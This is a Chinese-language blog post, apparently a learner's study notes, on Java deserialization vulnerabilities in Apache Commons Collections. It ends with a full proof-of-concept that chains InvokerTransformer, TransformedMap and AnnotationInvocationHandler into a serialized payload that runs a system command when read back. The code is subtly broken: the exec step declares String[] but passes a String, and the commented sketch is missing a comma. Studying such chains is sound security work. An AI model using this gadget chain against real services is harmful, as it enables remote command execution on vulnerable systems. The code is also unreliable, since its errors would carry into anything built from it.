零、Java反序列化漏洞
java的安全问题首屈一指的就是反序列化漏洞，可以执行命令啊，甚至直接getshell，所以趁着这个假期好好研究一下java的反序列化漏洞。另外呢，组里多位大佬对反序列化漏洞都有颇深的研究，借此机会，努力学习，作为狼群中的哈士奇希望成功的继续伪装下去，不被识破，哈哈哈哈！！！
参考文档：感谢所有参考文献的作者：
1、https://www.cnblogs.com/bencakes/p/6139477.html
2、https://www.cnblogs.com/ssooking/p/5875215.html
3、https://www.cnblogs.com/xdp-gacl/p/3777987.html
一、Java的序列化与反序列化：
在这里我们直接自己定义一个类，然后对这个类的对象（一个实例）进行序列化和发序列化测试。
1 //引入必要的java包文件 2 import java.io.*; 3 4 //创建测试类，注意要继承Serializable接口 5 class serialdemo implements Serializable{ 6 public static int number; 7 public serialdemo(int inputnum) { 8 this.number = inputnum; 9 } 10 } 11 12 //主类 13 public class test{ 14 //测试主类 15 public static void main(String[] args) throws IOException, ClassNotFoundException { 16 //主函数入口 17 serialdemo object = new serialdemo(100); 18 FileOutputStream fileoutputstream = new FileOutputStream("serail.ser");//创建文件写入对象 19 ObjectOutputStream outputstream = new ObjectOutputStream(fileoutputstream);//创建类型序列化通道对象 20 outputstream.writeObject(object);//把类对象（实例）序列化进入文件 21 outputstream.close(); 22 FileInputStream fileinputstream = new FileInputStream("serail.ser");//从文件读取对象 23 ObjectInputStream inputstream = new ObjectInputStream(fileinputstream);//对象反序列化 24 // 通过反序列化恢复对象obj 25 serialdemo object2 = (serialdemo)inputstream.readObject(); 26 System.out.println("反序列化后的对象的值："); 27 System.out.println(object2.number); 28 inputstream.close(); 29 } 30 }
既然自己定义的类都可以了，那么默认的java存在的数据类型的实例当然也都可以啦~运行结果如下：
1 └─[$]> java test 2 反序列化后的对象的值： 3 100
二、对java序列化的详解：
1、api定位：
1 /* 2 java.io.ObjectOutputStream -> writeObject() 3 java.io.ObjectInputStream -> readObject() 4 序列化把对象序列化成字节流 5 反序列化读取字节流反序列化对象 6 */
2、实现Serializable和Externalizable接口的类才能序列化与反序列化。
3、java的反射机制：
/* 在java运行状态中 1.对于任何一个类，都能判断对象所属的类； 2.对于任何一个类，都能获取其所有的属性和方法； 3.对于任何一个对象，都能调用任意一个方法和属性； */
三、反序列化的漏洞原理概述：
1、由于很多站点或者RMI仓库等接口处存在java的反序列化功能，攻击者可以通过构造特定的恶意对象序列化后的流，让目标反序列化，从而达到自己的恶意预期行为，包括命令执行，甚至getshell等等。
2、Apache Commons Collections
这是开源小组Apache研发的一个Collections收集器框架，提供诸如list、set、queue等功能对象。这个框架中有一个接口，其中有一个实现该接口的类可以通过调用java的反射机制来调用任意函数，这个接口类是InvokerTransformer。这个架构的广泛使用，也导致了java反序列化漏洞的大面积流行。
3、java执行系统命令：
1 //命令执行函数 2 public void test() throws IOException, InterruptedException { 3 Process process = Runtime.getRuntime().exec("whoami"); 4 InputStream inputstream = process.getInputStream(); 5 BufferedReader reader = new BufferedReader(new InputStreamReader(inputstream)); 6 process.waitFor(); 7 if (process.exitValue() != 0) { 8 //说明命令执行失败 9 //可以进入到错误处理步骤中 10 } 11 //打印输出信息 12 String s = null; 13 while ((s = reader.readLine()) != null) { 14 System.out.println(s); 15 } 16 }
简介：
Runtime.getRuntime().exec("command_string");
回显呢：
Process process = Runtime.getRuntime().exec("command_string");
InputStream inputstream = process.getInputStream();
BufferReader reader = new BufferReader(new InputStreamReader(inputstream));
System.out.prinln(reader.readLine());
把上面结合起来就是序列化的打法。
四、关于反射链
以前一直不理解反射链是什么定西，现在我们来看看接口源代码：
我们来理一理这一段：
开始：
可以看出来这个方法，属于一个对象，输出另外一个对象，完成了类型的转换。同时这个接口还可以串联完成一系列的转换，构成反射链。
Apache Commons Collections中已经实现了一些常见的Transformer，其中有一个可以通过Java的反射机制来调用任意函数，叫做InvokerTransformer，代码如下：
1 public class InvokerTransformer implements Transformer, Serializable { 2 3 ... 4 5 /* 6 Input参数为要进行反射的对象， 7 iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型 8 iArgs为对应方法的参数 9 在invokeTransformer这个类的构造函数中我们可以发现，这三个参数均为可控参数 10 */ 11 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { 12 super(); 13 iMethodName = methodName; 14 iParamTypes = paramTypes; 15 iArgs = args; 16 } 17 18 public Object transform(Object input) { 19 if (input == null) { 20 return null; 21 } 22 try { 23 Class cls = input.getClass(); 24 Method method = cls.getMethod(iMethodName, iParamTypes); 25 return method.invoke(input, iArgs); 26 27 } catch (NoSuchMethodException ex) { 28 throw new FunctorException("InvokerTransformer: The method ‘" + iMethodName + "‘ on ‘" + input.getClass() + "‘ does not exist"); 29 } catch (IllegalAccessException ex) { 30 throw new FunctorException("InvokerTransformer: The method ‘" + iMethodName + "‘ on ‘" + input.getClass() + "‘ cannot be accessed"); 31 } catch (InvocationTargetException ex) { 32 throw new FunctorException("InvokerTransformer: The method ‘" + iMethodName + "‘ on ‘" + input.getClass() + "‘ threw an exception", ex); 33 } 34 } 35 36 }只需要传入方法名、参数类型和参数，即可调用任意函数。
在这里，我们可以看到，先用ConstantTransformer()获取了Runtime类，接着反射调用getRuntime函数，再调用getRuntime的exec()函数，执行命令。依次调用关系为： Runtime --> getRuntime --> exec()。因此，我们要提前构造 ChainedTransformer链，它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数，进而执行命令。正式开始时，我们先构造一个TransformeMap实例，然后想办法修改它其中的数据，使其自动调用tansform()方法进行特定的变换(即我们之前设定好的)
五、poc原理分析：
参考大牛博客，给出一个原理解释知识点
1 ConstantTransformer 2 把一个对象转化为常量，并返回。 3 4 InvokerTransformer 5 通过反射，返回一个对象 6 7 ChainedTransformer 8 ChainedTransformer为链式的Transformer，会挨个执行我们定义Transformer
不得不说上面大牛博客分析的大段的代码原理我基本都不懂，因为不是java程序员的我对此真是摸不着头脑，但是我们可以做如下总结：
1 /* 2 1、java反序列化可以远程执行命令。 3 2、java执行命令用到Runtime.getRuntime().exec("whoami"); 4 3、java在apache commons collections中存在InvokerTransoformer接口可以串联对对象进行转化，形成反射链。 5 4、ConstantTransformer可以把对象转换为常量返回。 6 5、ChainedTransformer为链式的Transformer，会挨个执行我们定义Transformer 7 6、AnnotationInvocationHandler类可以导致命令执行在readobject时候自动执行 8 */
POC的思路：
1 /* 2 1）首先构造一个Map和一个能够执行代码的ChainedTransformer， 3 2）生成一个TransformedMap实例 4 3）实例化AnnotationInvocationHandler，并对其进行序列化， 5 4）当触发readObject()反序列化的时候，就能实现命令执行。 6 POC执行流程为 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功触发 7 */
分析大牛poc核心代码逻辑：
1 /* 2 核心逻辑表达式： 3 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit"); 4 主函数中： 5 1、定义一个要执行的命令字符串：String commandstring = "whoami"; 6 2、定义一个执行逻辑： 7 Transformer[] transformers = new Transformer[] { 8 new ConstantTransformer(Runtime.class), 9 new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}), 10 new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null}) 11 new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring}) 12 } 13 3、执行逻辑转化操作(ChainedTransformer类对象，传入transformers数组，可以按照transformers数组的逻辑执行转化操作)： 14 Transformer transformedChain = new ChainedTransformer(transformers); 15 4、后面是关于不关心的东西，写死即可： 16 Map<String,String> BeforeTransformerMap = new HashMap<String,String>(); 17 BeforeTransformerMap.put("hello", "hello"); 18 Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain); 19 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 20 Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); 21 ctor.setAccessible(true); 22 Object instance = ctor.newInstance(Target.class, AfterTransformerMap); 23 File f = new File("temp.bin"); 24 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); 25 out.writeObject(instance); 26 */ 27 28 //引入必要的java包文件 29 import java.io.File; 30 import java.io.FileInputStream; 31 import java.io.FileNotFoundException; 32 import java.io.FileOutputStream; 33 import java.io.IOException; 34 import java.io.ObjectInputStream; 35 import java.io.ObjectOutputStream; 36 import java.lang.annotation.Retention; 37 import java.lang.reflect.Constructor; 38 import java.util.HashMap; 39 import java.util.Map; 40 import java.util.Map.Entry; 41 42 //引入第三方包文件，也就是关于apache的那几个包 43 import org.apache.commons.collections.Transformer; 44 import org.apache.commons.collections.functors.ChainedTransformer; 45 import org.apache.commons.collections.functors.ConstantTransformer; 46 import org.apache.commons.collections.functors.InvokerTransformer; 47 import org.apache.commons.collections.map.TransformedMap; 48 49 //主类 50 public class POC_Test{ 51 public static void main(String[] args) throws Exception { 52 //定义待执行的命令: 53 String commandstring = "whoami"; 54 //定义一个反射链，确定预定的转化逻辑 55 /* 56 定义一个反射链的方法： 57 Transformer[] varitename = new Transformer[] { 58 new ConstantTransformer(Runtime.class), 59 new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}), 60 new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null}) 61 new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring}) 62 } 63 */ 64 Transformer[] transformers = new Transformer[] { 65 new ConstantTransformer(Runtime.class), 66 /* 67 由于Method类的invoke(Object obj,Object args[])方法的定义 68 所以在反射内写new Class[] {Object.class, Object[].class } 69 正常POC流程举例： 70 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit"); 71 */ 72 new InvokerTransformer( 73 "getMethod", 74 new Class[] {String.class, Class[].class }, 75 new Object[] {"getRuntime", new Class[0] } 76 ), 77 new InvokerTransformer( 78 "invoke", 79 new Class[] {Object.class,Object[].class }, 80 new Object[] {null, null } 81 ), 82 new InvokerTransformer( 83 "exec", 84 new Class[] {String[].class }, 85 new Object[] { commandstring } 86 //new Object[] { execArgs } 87 ) 88 }; 89 90 //transformedChain: ChainedTransformer类对象，传入transformers数组，可以按照transformers数组的逻辑执行转化操作 91 Transformer transformedChain = new ChainedTransformer(transformers); 92 93 //BeforeTransformerMap: Map数据结构，转换前的Map，Map数据结构内的对象是键值对形式，类比于python的dict 94 //Map<String, String> BeforeTransformerMap = new HashMap<String, String>(); 95 Map<String,String> BeforeTransformerMap = new HashMap<String,String>(); 96 BeforeTransformerMap.put("hello", "hello"); 97 98 //Map数据结构，转换后的Map 99 /* 100 TransformedMap.decorate方法,预期是对Map类的数据结构进行转化，该方法有三个参数。 101 第一个参数为待转化的Map对象 102 第二个参数为Map对象内的key要经过的转化方法（可为单个方法，也可为链，也可为空） 103 第三个参数为Map对象内的value要经过的转化方法。 104 */ 105 //TransformedMap.decorate(目标Map, key的转化对象（单个或者链或者null）, value的转化对象（单个或者链或者null）); 106 Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain); 107 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 108 Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); 109 ctor.setAccessible(true); 110 Object instance = ctor.newInstance(Target.class, AfterTransformerMap); 111 File f = new File("temp.bin"); 112 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); 113 out.writeObject(instance); 114 } 115 } 116 117 /* 118 思路:构建BeforeTransformerMap的键值对，为其赋值， 119 利用TransformedMap的decorate方法，对Map数据结构的key/value进行transforme 120 对BeforeTransformerMap的value进行转换，当BeforeTransformerMap的value执行完一个完整转换链，就完成了命令执行 121 122 执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........) 123 利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec() 124 125 */
